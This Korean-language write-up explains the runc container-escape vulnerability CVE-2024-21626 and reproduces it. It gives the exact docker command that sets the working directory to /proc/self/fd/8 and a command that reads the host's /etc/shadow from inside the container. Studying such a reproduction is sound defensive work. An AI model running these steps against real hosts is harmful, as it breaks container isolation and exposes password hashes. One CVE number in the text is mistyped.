Docker 컨테이너 탈옥 취약점 (CVE-2024-21626)

Docker 컨테이너 탈옥 취약점 (CVE-2024-21626)

이 글에서는 CVE-2024-21626 취약점에 대해 설명하고자 한다.

해당 취약점은 컨테이너 런타임 컴포넌트 중 하나인 runc 모듈에서 발생한다. runc 모듈 버전이 v1.0.0-rc93 이상, 1.1.11 이하에서 컨테이너 내부의 파일 디스크립터가 노출되어 발생하며, 공격자는 새로운 컨테이너를 생성하여 프로세스가 호스트 파일 시스템의 네임스페이스를 working directory 로 사용할 수 있게 허용한다. 이로 인해 공격자는 도커 컨테이너에서 탈출(Container Escape)하여 호스트 시스템의 데이터에 접근할 수 있게 된다.

National Vulnerability Database 에 따르면 해당 취약점은 Base Score 8.6, Vector 는 CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H 로 평가되었다.

National Vulerability Database 의 취약점 평가

Exploit

테스트 환경은 다음과 같다. 테스트에서 사용하는 도커 컨테이너 이미지는 alpine:3.17 버전을 사용했다.

  • Linux Distribution : Kali
  • Linux Kernel : 6.1.0-kali9-amd64
  • Docker Version : 20.10.25
  • runc version : 1.1.10+ds1

해당 취약점의 핵심은 컨테이너 생성 시 working directory 를 특정 파일 디스크립터로 설정하는 것이다.

다음 명령어를 실행하여 working directory 경로를 /proc/self/fd/8 로 설정하여 alpine:3.17 이미지의 컨테이너를 생성하고, interact 한다.

$ sudo docker run -w /proc/self/fd/8 --rm -it alpine:3.17

컨테이너 내부에서 /etc/shadow 파일 데이터를 읽어보면 호스트 파일과 같은 내용이 출력되는 것을 확인할 수 있다. 이를 토대로 CVE-2024-2162 취약점이 발생하여 컨테이너에서 탈옥했다는 것을 알 수 있다.

# cat ../../../etc/shadow
취약점에 의해 생성된 컨테이너의 /etc/shadow 파일

컨테이너 생성 시 working directory 설정 없이 평범하게 실행하면 호스트와 무관한 컨테이너 내부 파일만 접근 가능하다.

$ sudo docker run --rm -it alpine:3.17
정상적으로 생성된 컨테이너의 /etc/shadow 파일